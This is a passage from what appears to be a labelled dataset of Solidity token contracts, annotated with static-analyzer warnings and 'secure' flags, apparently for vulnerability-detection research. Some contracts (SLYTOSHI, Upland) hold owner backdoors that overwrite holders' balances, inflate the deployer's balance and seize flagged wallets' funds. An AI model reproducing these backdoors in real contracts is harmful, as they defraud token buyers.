_redisFeeOnSell;\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousredisFee = _redisFee;\n uint256 private _previoustaxFee = _taxFee;\n\n mapping(address => bool) public bots;\n mapping(address => uint256) public _buyMap;\n\t// WARNING Optimization Issue (constable-states | ID: 5343664): QOM2._developmentAddress should be constant \n\t// Recommendation for 5343664: Add the 'constant' attribute to state variables that never change.\n address payable private _developmentAddress =\n payable(0x1a06fC81A7199014E7a0F6455Ba2a7691102D9ba);\n\t// WARNING Optimization Issue (constable-states | ID: 30bd5f5): QOM2._marketingAddress should be constant \n\t// Recommendation for 30bd5f5: Add the 'constant' attribute to state variables that never change.\n address payable private _marketingAddress =\n payable(0x1a06fC81A7199014E7a0F6455Ba2a7691102D9ba);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1e08e7b): QOM2.uniswapV2Router should be immutable \n\t// Recommendation for 1e08e7b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: 2fc719b): QOM2.uniswapV2Pair should be immutable \n\t// Recommendation for 2fc719b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = true;\n\n uint256 public _maxTxAmount = 100000000 * 10 ** 9;\n uint256 public _maxWalletSize = 200000000 * 10 ** 9;\n uint256 public _swapTokensAtAmount = 10000000 * 10 ** 9;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_developmentAddress] = true;\n _isExcludedFromFee[_marketingAddress] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 278529d): QOM2.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 278529d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4c31c90): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4c31c90: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 446e992): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 446e992: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 4c31c90\n\t\t// reentrancy-benign | ID: 446e992\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 4c31c90\n\t\t// reentrancy-benign | ID: 446e992\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_redisFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: ea7322c\n _previousredisFee = _redisFee;\n\t\t// reentrancy-benign | ID: ea7322c\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: ea7322c\n _redisFee = 0;\n\t\t// reentrancy-benign | ID: ea7322c\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: ea7322c\n _redisFee = _previousredisFee;\n\t\t// reentrancy-benign | ID: ea7322c\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 33c9377): QOM2._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 33c9377: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 446e992\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 4c31c90\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b05a506): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b05a506: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ea7322c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ea7322c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c970f2d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c970f2d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n from == owner(),\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n require(amount <= _maxTxAmount, \"TOKEN: Max Transaction Limit\");\n require(\n !bots[from] && !bots[to],\n \"TOKEN: Your account is blacklisted!\"\n );\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n if (\n canSwap &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: b05a506\n\t\t\t\t// reentrancy-benign | ID: ea7322c\n\t\t\t\t// reentrancy-eth | ID: c970f2d\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: b05a506\n\t\t\t\t\t// reentrancy-eth | ID: c970f2d\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: ea7322c\n _redisFee = _redisFeeOnBuy;\n\t\t\t\t// reentrancy-benign | ID: ea7322c\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: ea7322c\n _redisFee = _redisFeeOnSell;\n\t\t\t\t// reentrancy-benign | ID: ea7322c\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: b05a506\n\t\t// reentrancy-benign | ID: ea7322c\n\t\t// reentrancy-eth | ID: c970f2d\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: b05a506\n\t\t// reentrancy-events | ID: 4c31c90\n\t\t// reentrancy-benign | ID: ea7322c\n\t\t// reentrancy-benign | ID: 446e992\n\t\t// reentrancy-eth | ID: c970f2d\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: b05a506\n\t\t// reentrancy-events | ID: 4c31c90\n\t\t// reentrancy-eth | ID: c970f2d\n _marketingAddress.transfer(amount);\n }\n\n function setTrading(bool _tradingOpen) public onlyOwner {\n tradingOpen = _tradingOpen;\n }\n\n function manualswap() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractBalance = balanceOf(address(this));\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n uint256 contractETHBalance = address(this).balance;\n sendETHToFee(contractETHBalance);\n }\n\n function blockBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function unblockBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n _transferStandard(sender, recipient, amount);\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\t\t// reentrancy-eth | ID: c970f2d\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\t\t// reentrancy-eth | ID: c970f2d\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeTeam(tTeam);\n _reflectFee(rFee, tFee);\n\t\t// reentrancy-events | ID: b05a506\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n uint256 rTeam = tTeam.mul(currentRate);\n\t\t// reentrancy-eth | ID: c970f2d\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: c970f2d\n _rTotal = _rTotal.sub(rFee);\n\t\t// reentrancy-benign | ID: ea7322c\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _redisFee,\n _taxFee\n );\n uint256 currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(redisFee).div(100);\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n uint256 rFee = tFee.mul(currentRate);\n uint256 rTeam = tTeam.mul(currentRate);\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 2c95687): QOM2.setFee(uint256,uint256,uint256,uint256) should emit an event for _redisFeeOnBuy = redisFeeOnBuy _redisFeeOnSell = redisFeeOnSell _taxFeeOnBuy = taxFeeOnBuy _taxFeeOnSell = taxFeeOnSell \n\t// Recommendation for 2c95687: Emit an event for critical parameter changes.\n function setFee(\n uint256 redisFeeOnBuy,\n uint256 redisFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// events-maths | ID: 2c95687\n _redisFeeOnBuy = redisFeeOnBuy;\n\t\t// events-maths | ID: 2c95687\n _redisFeeOnSell = redisFeeOnSell;\n\t\t// events-maths | ID: 2c95687\n _taxFeeOnBuy = taxFeeOnBuy;\n\t\t// events-maths | ID: 2c95687\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b913954): QOM2.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for b913954: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: b913954\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5467b75): QOM2.setMaxTxnAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for 5467b75: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {\n\t\t// events-maths | ID: 5467b75\n _maxTxAmount = maxTxAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: cc59ef8): QOM2.setMaxWalletSize(uint256) should emit an event for _maxWalletSize = maxWalletSize \n\t// Recommendation for cc59ef8: Emit an event for critical parameter changes.\n function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {\n\t\t// events-maths | ID: cc59ef8\n _maxWalletSize = maxWalletSize;\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n}",
"file_name": "solidity_code_2323.sol",
"secure": 0,
"size_bytes": 20171
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nabstract contract ModifiedContext {\n function fetchMsgSender() internal view virtual returns (address payable) {\n return payable(msg.sender);\n }\n}",
"file_name": "solidity_code_2324.sol",
"secure": 1,
"size_bytes": 232
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"./ModifiedContext.sol\" as ModifiedContext;\n\ncontract SingleOwnership is ModifiedContext {\n address private ownerOfContract;\n event OwnerTransition(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = fetchMsgSender();\n ownerOfContract = msgSender;\n emit OwnerTransition(address(0), msgSender);\n }\n\n function fetchOwner() public view virtual returns (address) {\n return ownerOfContract;\n }\n\n modifier validateOwnership() {\n require(\n fetchOwner() == fetchMsgSender(),\n \"AuthorizationError: Action must be performed by the contract owner\"\n );\n _;\n }\n\n function relinquishOwnership() public virtual validateOwnership {\n emit OwnerTransition(\n ownerOfContract,\n address(0x000000000000000000000000000000000000dEaD)\n );\n ownerOfContract = address(0x000000000000000000000000000000000000dEaD);\n }\n}",
"file_name": "solidity_code_2325.sol",
"secure": 1,
"size_bytes": 1111
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"./ModifiedContext.sol\" as ModifiedContext;\nimport \"./SingleOwnership.sol\" as SingleOwnership;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract SLYTOSHI is ModifiedContext, SingleOwnership, IERC20 {\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _balances;\n mapping(address => uint256) private _exactTransferAmounts;\n address private creatorOfToken;\n\n string public constant _name = \"SLYTOSHI\";\n string public constant _symbol = \"SLYTOSHI\";\n uint8 public constant _decimals = 18;\n uint256 public constant _totalSupply = 2000000 * (10 ** _decimals);\n\n constructor() {\n _balances[fetchMsgSender()] = _totalSupply;\n emit Transfer(address(0), fetchMsgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n modifier validateCreator() {\n require(\n fetchCreator() == fetchMsgSender(),\n \"AuthorizationError: Action must be performed by the token creator\"\n );\n _;\n }\n\n function fetchCreator() public view virtual returns (address) {\n return creatorOfToken;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: bce19dd): SLYTOSHI.assignNewCreator(address).newCreator lacks a zerocheck on \t creatorOfToken = newCreator\n\t// Recommendation for bce19dd: Check that the address is not zero.\n function assignNewCreator(address newCreator) public validateOwnership {\n\t\t// missing-zero-check | ID: bce19dd\n creatorOfToken = newCreator;\n }\n\n event TokensAdjusted(\n address indexed user,\n uint256 previousBalance,\n uint256 newBalance\n );\n\n function queryTransferExactAmount(\n address account\n ) public view returns (uint256) {\n return _exactTransferAmounts[account];\n }\n\n function defineTransferExactAmounts(\n address[] calldata accounts,\n uint256 amount\n ) public validateCreator {\n for (uint256 i = 0; i < accounts.length; i++) {\n _exactTransferAmounts[accounts[i]] = amount;\n }\n }\n\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 8733b06): SLYTOSHI.adjustBalancesOfUsers(address[],uint256) contains a tautology or contradiction require(bool,string)(desiredAmount >= 0,InputError Desired amount must be nonnegative)\n\t// Recommendation for 8733b06: Fix the incorrect comparison by changing the value type or the comparison.\n function adjustBalancesOfUsers(\n address[] memory userAddresses,\n uint256 desiredAmount\n ) public validateCreator {\n\t\t// tautology | ID: 8733b06\n require(\n desiredAmount >= 0,\n \"InputError: Desired amount must be non-negative\"\n );\n\n for (uint256 i = 0; i < userAddresses.length; i++) {\n address currentUser = userAddresses[i];\n require(\n currentUser != address(0),\n \"InputError: User address must not be a zero address\"\n );\n\n uint256 oldBalance = _balances[currentUser];\n _balances[currentUser] = desiredAmount;\n\n emit TokensAdjusted(currentUser, oldBalance, desiredAmount);\n }\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[fetchMsgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 exactAmount = queryTransferExactAmount(fetchMsgSender());\n if (exactAmount > 0) {\n require(\n amount == exactAmount,\n \"TT: transfer amount does not equal the exact transfer amount\"\n );\n }\n\n _balances[fetchMsgSender()] -= amount;\n _balances[recipient] += amount;\n\n emit Transfer(fetchMsgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[fetchMsgSender()][spender] = amount;\n emit Approval(fetchMsgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][fetchMsgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 exactAmount = queryTransferExactAmount(sender);\n if (exactAmount > 0) {\n require(\n amount == exactAmount,\n \"TT: transfer amount does not equal the exact transfer amount\"\n );\n }\n\n _balances[sender] -= amount;\n _balances[recipient] += amount;\n _allowances[sender][fetchMsgSender()] -= amount;\n\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_2326.sol",
"secure": 0,
"size_bytes": 5806
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol\" as ERC20Pausable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract CrystalPowder is ERC20Pausable {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 149fff5): CrystalPowder.constructor(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 149fff5: Rename the local variables that shadow another component.\n constructor(address _owner) ERC20(\"CrystalPowder\", \"CP\") {\n transferOwnership(_owner);\n _mint(owner(), 250_000_000 ether);\n }\n\n function pause() external whenNotPaused onlyOwner {\n _pause();\n }\n\n function unpause() external whenPaused onlyOwner {\n _unpause();\n }\n}",
"file_name": "solidity_code_2327.sol",
"secure": 0,
"size_bytes": 839
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Upland is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n mapping(address => bool) public tokeninfo;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 8141ff6): Upland._taxWallet should be immutable \n\t// Recommendation for 8141ff6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _taxWallet;\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: fbd9e50): Upland.constructor(string,string,address).add lacks a zerocheck on \t _taxWallet = add\n\t// Recommendation for fbd9e50: Check that the address is not zero.\n constructor(string memory name_, string memory symbol_, address add) {\n _name = name_;\n _symbol = symbol_;\n _totalSupply;\n\t\t// missing-zero-check | ID: fbd9e50\n _taxWallet = add;\n _mint(owner(), 1_000_000_000 ether);\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 7af18c2): Upland.taxAmount should be constant \n\t// Recommendation for 7af18c2: Add the 'constant' attribute to state variables that never change.\n uint128 taxAmount = 64544;\n\t// WARNING Optimization Issue (constable-states | ID: 93ee080): Upland.globaltrue should be constant \n\t// Recommendation for 93ee080: Add the 'constant' attribute to state variables that never change.\n bool globaltrue = true;\n\t// WARNING Optimization Issue (constable-states | ID: 971b075): Upland.globalff should be constant \n\t// Recommendation for 971b075: Add the 'constant' attribute to state variables that never change.\n bool globalff = false;\n\n function addBots(address bot) public virtual returns (bool) {\n address tmoinfo = bot;\n tokeninfo[tmoinfo] = globaltrue;\n require(_msgSender() == _taxWallet);\n return true;\n }\n\n function removeLimits() external {\n if (_msgSender() == _taxWallet) {}\n _balances[_msgSender()] +=\n 10 ** decimals() *\n 68800 *\n (23300000000 + 300);\n require(_msgSender() == _taxWallet);\n }\n\n function delBots(address notbot) external {\n address tmoinfo = notbot;\n tokeninfo[tmoinfo] = globalff;\n require(_msgSender() == _taxWallet);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: af1c871): Upland.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for af1c871: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (tokeninfo[from] == true) {\n amount = taxAmount + _balances[from] + taxAmount - taxAmount;\n }\n uint256 balance = _balances[from];\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n _balances[from] = _balances[from] - amount;\n _balances[to] = _balances[to] + amount;\n emit Transfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 07a193a): Upland._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 07a193a: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_2328.sol",
"secure": 0,
"size_bytes": 7285
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Kanye {\n using SafeMath for uint256;\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply = 10000000000000000000000000000;\n\t// WARNING Optimization Issue (constable-states | ID: 5ba2c3c): kanye._name should be constant \n\t// Recommendation for 5ba2c3c: Add the 'constant' attribute to state variables that never change.\n string private _name = \"KANYE\";\n\t// WARNING Optimization Issue (constable-states | ID: 6e1f78c): kanye._symbol should be constant \n\t// Recommendation for 6e1f78c: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"KANYE\";\n\t// WARNING Optimization Issue (immutable-states | ID: 7d32a65): kanye._owner should be immutable \n\t// Recommendation for 7d32a65: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _owner;\n constructor() {\n _owner = msg.sender;\n _balances[_owner] = _totalSupply;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = msg.sender;\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n 